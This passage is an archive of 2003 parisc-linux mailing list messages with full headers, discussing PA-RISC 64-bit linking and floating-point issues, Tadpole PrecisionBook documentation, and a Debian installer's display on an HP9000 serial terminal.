Message-ID: <200304041848.h34Imwkv026421@hiauly1.hia.nrc.ca>
References: <20030404180841.GP7542@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622363 24430 80.91.229.3 (22 Nov 2014 02:12:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  4 11:49:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 131D14829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Apr 2003 11:49:00 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h34ImwBh026423;
	Fri, 4 Apr 2003 13:48:58 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h34Imwkv026421;
	Fri, 4 Apr 2003 13:48:58 -0500 (EST)
In-Reply-To: <20030404180841.GP7542@systemhalted> from "Carlos O'Donell" at Apr 4, 2003 01:08:41 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18183

> I get random email from people who've seen my libc-alpha postings, and
> they want to know how to fix their busted gcc (hppa2.0w) + HPUX linker
> compiles... looks like floating point loads and stores with bad 
> relocations (the reason we disable fpregs in the rtld code for glibc).

This sounds like a configuration mixup but I would have to see
a real bug report to be sure.  Regarding disabling fpregs, this
might not be a good idea.  Integer multiplication uses the xmpyu
instruction.  There is millicode support for 32-bit multiplication
but not for 64-bit multiplication.  On the 64-bit port, loop
unrolling can cause a multiply instruction to emitted after
virtual registers are instantiated.  If fpregs are disabled,
the multiply requires a libcall.  Emitting a libcall, requires
setting the arg pointer using the virtual outgoing args register.
There is a small chance that we might not have reserved enough
space for the outgoing arguments when this is done after virtual
register instantiation.  You need -nostdlib when linking as
various functions in libgcc uses the xmpyu instruction.

> How so? -static and -nostdlib and add all the bits yourself?

No.  The dynamic loader is still required to resolve some special
symbols.  I also think the file format is not quite right for
a static executable.  I'm sure that it would be possible to generate
a truly static binary but I'm not sure how much work is involved.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Fri, 4 Apr 2003 17:07:45 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20030404220745.GA32125@systemhalted>
References: <20030404180841.GP7542@systemhalted> <200304041848.h34Imwkv026421@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622363 24433 80.91.229.3 (22 Nov 2014 02:12:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  4 15:07:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D8514829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Apr 2003 15:07:27 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 191ZLe-00006e-00; Fri, 04 Apr 2003 17:07:46 -0500
Content-Disposition: inline
In-Reply-To: <200304041848.h34Imwkv026421@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (49% Sync Ratio [=====.....])
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18184

> This sounds like a configuration mixup but I would have to see
> a real bug report to be sure.  Regarding disabling fpregs, this
> might not be a good idea.  

It's currently the only solution for getting the rtld code working, since
the floating point code was trying to load a non-existant linkage table pointer...

> Integer multiplication uses the xmpyu
> instruction.  There is millicode support for 32-bit multiplication
> but not for 64-bit multiplication.  On the 64-bit port, loop
> unrolling can cause a multiply instruction to emitted after
> virtual registers are instantiated.  If fpregs are disabled,
> the multiply requires a libcall.  Emitting a libcall, requires
> setting the arg pointer using the virtual outgoing args register.
> There is a small chance that we might not have reserved enough
> space for the outgoing arguments when this is done after virtual
> register instantiation.  You need -nostdlib when linking as
> various functions in libgcc uses the xmpyu instruction.

I'll enable it again for the 64-bit static port and see what happens :)

> > How so? -static and -nostdlib and add all the bits yourself?
> 
> No.  The dynamic loader is still required to resolve some special
> symbols.  I also think the file format is not quite right for
> a static executable.  I'm sure that it would be possible to generate
> a truly static binary but I'm not sure how much work is involved.

Special symbols?

c.



From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Fri, 4 Apr 2003 17:12:33 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200304042212.h34MCY3j001052@hiauly1.hia.nrc.ca>
References: <20030404220745.GA32125@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622364 24435 80.91.229.3 (22 Nov 2014 02:12:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  4 15:12:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDF0B4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Apr 2003 15:12:37 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h34MCYBh001054;
	Fri, 4 Apr 2003 17:12:35 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h34MCY3j001052;
	Fri, 4 Apr 2003 17:12:34 -0500 (EST)
In-Reply-To: <20030404220745.GA32125@systemhalted> from "Carlos O'Donell" at Apr 4, 2003 05:07:45 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18185

> > No.  The dynamic loader is still required to resolve some special
> > symbols.  I also think the file format is not quite right for
> > a static executable.  I'm sure that it would be possible to generate
> > a truly static binary but I'm not sure how much work is involved.
> 
> Special symbols?

See chapter 6 in PA-RISC 64-Bit Runtime Architecture Supplement.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Sat, 5 Apr 2003 12:14:54 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20030405171454.GF32125@systemhalted>
References: <20030404220745.GA32125@systemhalted> <200304042212.h34MCY3j001052@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622364 24438 80.91.229.3 (22 Nov 2014 02:12:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  5 10:14:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 004894829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 Apr 2003 10:14:23 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 191rFm-0004lS-00; Sat, 05 Apr 2003 12:14:54 -0500
Content-Disposition: inline
In-Reply-To: <200304042212.h34MCY3j001052@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (49% Sync Ratio [=====.....])
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18186

> See chapter 6 in PA-RISC 64-Bit Runtime Architecture Supplement.

Stack unwinding and exception handling?
Does this code have to call into another library? (Or just millicode).

c.


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Sat, 5 Apr 2003 13:10:06 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200304051810.h35IA6Lg027300@hiauly1.hia.nrc.ca>
References: <20030405171454.GF32125@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622364 24441 80.91.229.3 (22 Nov 2014 02:12:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  5 11:10:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 652DB4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 Apr 2003 11:10:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h35IA7Bh027301;
	Sat, 5 Apr 2003 13:10:07 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h35IA6Lg027300;
	Sat, 5 Apr 2003 13:10:06 -0500 (EST)
In-Reply-To: <20030405171454.GF32125@systemhalted> from "Carlos O'Donell" at Apr 5, 2003 12:14:54 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18187

> > See chapter 6 in PA-RISC 64-Bit Runtime Architecture Supplement.
> 
> Stack unwinding and exception handling?

No, you are looking the main document.  The supplement is available
here <http://devresource.hp.com/STK/partner/pa64supp.pdf>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 6 Apr 2003 03:41:55 +0100 (IST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304060330370.12506-100000@sal.ucc.ie>
References: <200303302250.h2UMo6e30482@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622365 24442 80.91.229.3 (22 Nov 2014 02:12:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:45 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	<parisc-linux@lists.parisc-linux.org>
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  5 19:42:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4110F4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 Apr 2003 19:42:11 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h362fv613828;
	Sun, 6 Apr 2003 03:41:58 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200303302250.h2UMo6e30482@opus.allegro.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18188

On Sun, 30 Mar 2003, Stan Sieler wrote:

> (Note: if anyone has a Tadpole/RDI PrecisionBook manual/documentation-set,
> I'd be real interested in asking them a couple of questions!)

The only information I found on the web:

(www.tadpole.com -> search "precisionbook"):

http://hw.tadpole.com/html/support/legacy/unsupported/precisionbook/specification.html


(www.google.com -> "precisionbook 19 volts" -> google cache):

http://216.239.57.100/search?q=cache:96ITX9tXtXkC:hw.tadpole.com/pdf/support/legacy/supported/precisionbook/whitepaper.pdf+precisionbook+19+volts&hl=en&ie=UTF-8
http://216.239.57.100/search?q=cache:X0CgrLFxb9IC:hw.tadpole.com/print/html/products/legacy/supported/precisionbook/whitepapers/online.html+precisionbook+19+volts&hl=en&ie=UTF-8



I should get my precisionbook next week (hopefully); it is not mentioned
in the ebay offer whether documentation/manuals are shipped it - I'll let
you know if this is the case.


greeting max




From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Smartelectronix - Bram" <bram@smartelectronix.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Our new toy + terminal questions.....
Date: Sun, 6 Apr 2003 13:36:12 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <001e01c2fc30$b9ff47e0$604a5251@kerberos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622365 24445 80.91.229.3 (22 Nov 2014 02:12:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:45 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  6 05:35:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eos.telenet-ops.be (eos.telenet-ops.be [195.130.132.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 082494829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Apr 2003 05:35:48 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by eos.telenet-ops.be (Postfix) with SMTP id EB0F720004
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Apr 2003 13:35:46 +0200 (CEST)
Original-Received: from kerberos (d51524A60.kabel.telenet.be [81.82.74.96])
	by eos.telenet-ops.be (Postfix) with SMTP id D10F21FF24
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Apr 2003 13:35:46 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18189

Hi everyone, (I'm new to the list)


Today my mates and I went to pick up our new *ahem* 'toy'
http://www.smartelectronix.com/~bdejong/a_new_toy/

HP9000 D270/2 + 512Mb RAM + 8 x 9-gig & 8 x 4Gig + UPS + ...
No graphics out, only a serial terminal output.
We've got it up and running and are trying to install Debian
(Woody) on it.

Everything works just fine, but when the semi-graphical installer
kicks in, we -obviously- get large pieces of garbage on the terminal.

Is there a way to set the debian installer to use simple-ascii only 
without colors/...? Or is there a better terminal program we can use
that can display colors/.. better? Selecting things in the installer
is pretty much hit and miss too.

Or, alternatively, is there a (simple) way to get some kind of graphics
card + monitor for our D270?


Thanks a lot,


 - bram

-- 
http://www.smartelectronix.com
http://www.musicdsp.org
http://www.ghentsessions.be
msn: the_etcher@hotmail.com
tel: +32 (0) 486 15 77 68


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Our new toy + terminal questions.....
Date: Sun, 6 Apr 2003 20:37:59 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20030406193759.GA8473@sleepie.demon.co.uk>
References: <001e01c2fc30$b9ff47e0$604a5251@kerberos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622365 24446 80.91.229.3 (22 Nov 2014 02:12:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Smartelectronix - Bram <bram@smartelectronix.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  6 13:49:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.brnt.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2F254829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Apr 2003 13:49:51 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 9783A9EF3E; Sun,  6 Apr 2003 20:37:59 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <001e01c2fc30$b9ff47e0$604a5251@kerberos>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18190

On Sun, Apr 06, 2003 at 01:36:12PM +0200, Smartelectronix - Bram wrote:
> Hi everyone, (I'm new to the list)
> 
> 
> Today my mates and I went to pick up our new *ahem* 'toy'
> http://www.smartelectronix.com/~bdejong/a_new_toy/
> 
> HP9000 D270/2 + 512Mb RAM + 8 x 9-gig & 8 x 4Gig + UPS + ...
> No graphics out, only a serial terminal output.
> We've got it up and running and are trying to install Debian
> (Woody) on it.
> 
> Everything works just fine, but when the semi-graphical installer
> kicks in, we -obviously- get large pieces of garbage on the terminal.
> 
> Is there a way to set the debian installer to use simple-ascii only 
> without colors/...? Or is there a better terminal program we can use
> that can display colors/.. better? Selecting things in the installer
> is pretty much hit and miss too.

You don't say what terminal emulator you are trying to use.  Many people
use minicom on an x86 linux host without problems.

You can't stop the installer using features such as cursor addressing to
paint the screen.

Richard



From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Sun, 6 Apr 2003 14:22:28 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200304062122.h36LMSU15073@opus.allegro.com>
References: <Pine.LNX.4.44.0304060330370.12506-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622366 24450 80.91.229.3 (22 Nov 2014 02:12:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:46 +0000 (UTC)
Cc: carlos@baldric.uwo.ca (Carlos O'Donell),
	willy@debian.org (Matthew Wilcox),
	parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  6 15:22:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DE094829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Apr 2003 15:22:45 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id h36LMSU15073;
	Sun, 6 Apr 2003 14:22:28 -0700
In-Reply-To: <Pine.LNX.4.44.0304060330370.12506-100000@sal.ucc.ie> from "M. Grabert" at Apr 06, 2003 03:41:55 AM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
